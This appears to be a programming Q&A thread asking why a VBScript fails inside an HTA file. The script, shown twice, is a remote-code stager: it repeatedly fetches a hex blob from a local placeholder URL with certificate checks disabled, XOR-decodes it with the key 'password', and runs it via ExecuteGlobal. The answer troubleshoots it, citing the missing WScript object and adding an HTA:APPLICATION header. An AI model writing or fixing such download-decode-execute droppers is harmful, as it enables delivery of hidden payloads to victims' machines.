Search code examples
vbscripthta

Usage of ExecuteGlobal() in HTA file


I have a vbscript which works fine when executed stand alone i.e.

On Error Resume Next:
            Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
            a.setOption 2,13056:
            while(Len(b) = 0):
                a.open"GET","http://127.0.0.1/hex.txt",False:
                a.send: 
                b = a.responseText:
            wend:
            k="password":
            for i = 0 to Len(b) - 1 Step 2:
                c = c & Chr(Asc(Chr("&H" & Mid(b, i + 1, 2))) xor Asc(Mid(k, ((i / 2)mod Len(k)) + 1, 1))):
        
            Next:
            ExecuteGlobal c: 

But when i include this script inside HTA, It doesn't execute the (ExecuteGlobal c:) i.e.

<html>
<head>
<script language="VBScript"> 
    Sub RunProgram
            On Error Resume Next:
            Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
            a.setOption 2,13056:
            while(Len(b) = 0):
                a.open"GET","http://127.0.0.1/hex.txt",False:
                a.send: 
                b = a.responseText:
            wend:
            k="password":
            for i = 0 to Len(b) - 1 Step 2:
                c = c & Chr(Asc(Chr("&H" & Mid(b, i + 1, 2))) xor Asc(Mid(k, ((i / 2)mod Len(k)) + 1, 1))):
        
            Next:
            ExecuteGlobal c:   
        End Sub
    RunProgram()
</script>
</head> 
<body>
 
</body>
</html>

I think the issue is with the (ExecuteGlobal c:) portion, it doesn't execute in HTA but it is executed fine when i use the vbscript alone.


Solution

  • Updated Answer:

    Based on the comments it clear that the issue is in the decoded script you try to run making a reference to WScript which is an object not accessible outside of the Windows Scripting Host (wscript.exe and cscript.exe). It is not available from within an HTA as the MSHTA scripting host doesn't support it.


    Original Answer:

    The HTML code example at the moment is not an HTA as it is missing the <HTA:APPLICATION> element.

    Try adding;

    <HTA:APPLICATION ID="oHTA"
         APPLICATIONNAME="myApp"
         BORDER="thin"
         BORDERSTYLE="normal"
         CAPTION="yes"
         ICON=""
         MAXIMIZEBUTTON="yes"
         MINIMIZEBUTTON="yes"
         SHOWINTASKBAR="no"
         SINGLEINSTANCE="no"
         SYSMENU="yes"
         VERSION="1.0"
         WINDOWSTATE="maximize"/>
    

    to the HTML inside the HEAD element.